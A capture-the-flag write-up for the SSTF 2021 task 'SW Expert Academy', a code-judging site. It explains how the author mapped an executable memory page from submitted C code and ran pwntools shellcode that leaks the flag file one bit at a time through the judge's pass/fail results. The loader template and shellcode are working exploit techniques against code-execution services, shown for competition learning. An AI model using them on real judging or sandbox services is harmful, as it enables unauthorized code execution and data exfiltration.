This is a write-up for the web? and pwning task SW Expert Academy from SSTF 2021
In this problem we are given a website that presents an algorithm problem. In short, its about calculating a chance of winning in a dice game, where two 6-faced dices are given. For example, when a dice with faces 3, 4, 3, 4, 3, 4 and the other dice with 1, 1, 1, 1, 8, 9 are given, the program should print out 2/3 which is the chance of the first dice winning.
Actually, this is not really a coding challenge, as there are only three fixed test cases which are given as examples. The three test cases are given below.
| Dice 1 Faces | Dice 2 Faces | Expected Answer |
|---|---|---|
| 3 4 3 4 3 4 | 1 1 1 1 8 9 | 2/3 |
| 1 2 3 4 5 6 | 3 4 3 4 3 4 | 5/12 |
| 1 2 3 4 5 6 | 8 7 2 2 1 1 | 1/2 |
In this challenge, we are required to fill in the C code in a template like below.
#include <stdio.h>
int main() {
// Your Code will be placed here!
puts("Hello world");
// Did you enjoy the problem solving?
return 0;
}
The C code that we filled in is then compiled with gcc.
gcc -o binary code.c -std=c99Then, it's tested against those fixed inputs. Based on the error message, it works like this.
{"error":"Error: Command failed: bash -c /tmp/sf5PnmqSW5.bin < /server/input1.txt\n"}It's pretty obvious that we have to get arbitrary code execution. But it is tricky to inject arbitrary C code as the preprocessor directives are banned. Therefore I tried to go with arbitrary shellcode execution by getting a RWX page to use.
Before that, I called printf("1/%d", sizeof(void *)/2) to find out the word size. Of course, there were no -m32 flag on the gcc command line, but I just tried to make sure about it.
This can be accomplished by calling mmap(). We cannot just include <sys/mman.h> as we cannot write any preprocessor directives. Therefore, the exploit vector can be summarized like this.
#include <stdio.h>
int main() {
// Your Code will be placed here!
char yikes[] = "<hex-encoded shellcode here>";
char * k = mmap(0, 0x1000, 7, 0x22, -1 ,0);
for(int i=0; i<sizeof(yikes); i++)
k[i] = yikes[i];
((void(*)())k)();
// Did you enjoy the problem solving?
return 0;
}However, this didn't work. As we are not including sys/mman.h, the return type of mmap() is expected to be int. This triggers an implicit type conversion, inserting a cdqe right after mmap() call. Of course, this ruins the address returned by mmap(). To compensate that, I fixed the address to keep it in the 32-bit int range.
#include <stdio.h>
int main() {
// Your Code will be placed here!
char yikes[] = "<hex-encoded shellcode here>";
char * k = mmap(0x1234000, 0x1000, 7, 0x32, -1 ,0);
for(int i=0; i<sizeof(yikes); i++)
k[i] = yikes[i];
((void(*)())k)();
// Did you enjoy the problem solving?
return 0;
}As you can see, giving the address hint and adding MMAP_FIXED solves the problem.
Then we have to design a shellcode to access the flag in the remote server. I tried to open a reverse and bind shell on the remote server, but it didn't work out well.
Instead, I decided to blind the flag bit by bit. This is the code that I used to blind the flag.
sh = ""
sh += "pop r15\n"
sh += shellcraft.open(FLAGFILE)
sh += shellcraft.read(fd="rax", count=FLAG_LEN)
sh += "xor rax, rax\n"
sh += "mov rsi, rsp\n"
sh += f"add rsi, {byteoffset}\n"
sh += f"lodsb\n"
sh += "mov rbx, 1\n"
sh += f"sal rbx, {bitoffset}\n"
sh += "and rax, rbx\n"
sh += "jz twothree\n"
sh += "onetwo:\n"
sh += shellcraft.echo("1/2\n")
sh += "jmp epilogue\n"
sh += "twothree:\n"
sh += shellcraft.echo("2/3\n")
sh += "epilogue:\n"
sh += "push r15\n"
sh += shellcraft.ret()In short, we open the flag and read that on the stack, and extract a bit of a flag by masking.
We then compare the result with zero, and print 1/2 if the given bit is 1 and 2/3 if not. When we output the prior, the server should respond with [false, false, true] and [true, false, false] in the case of the latter, as you can imagine.
I also added pop r15 and push r15, ret, so that we can properly return to the correct context. This is necessary because we need to make it exit normally to see the result. Adding syscall exit() could also be a potential solution, but I found this method to be the easiest one.
The name of the flag file was not given, but one of my teammates managed to guess it out - flag.txt. The existence of the file could be easily tested by checking the return of the open() system call, using the similar shellcode presented.
Combining everything above, I could query every single bit of the flag. The server was a bit buggy, so I inserted a 10-second delay every 8 bits worth of request. The detailed exploit code can be found in the attached solver.py.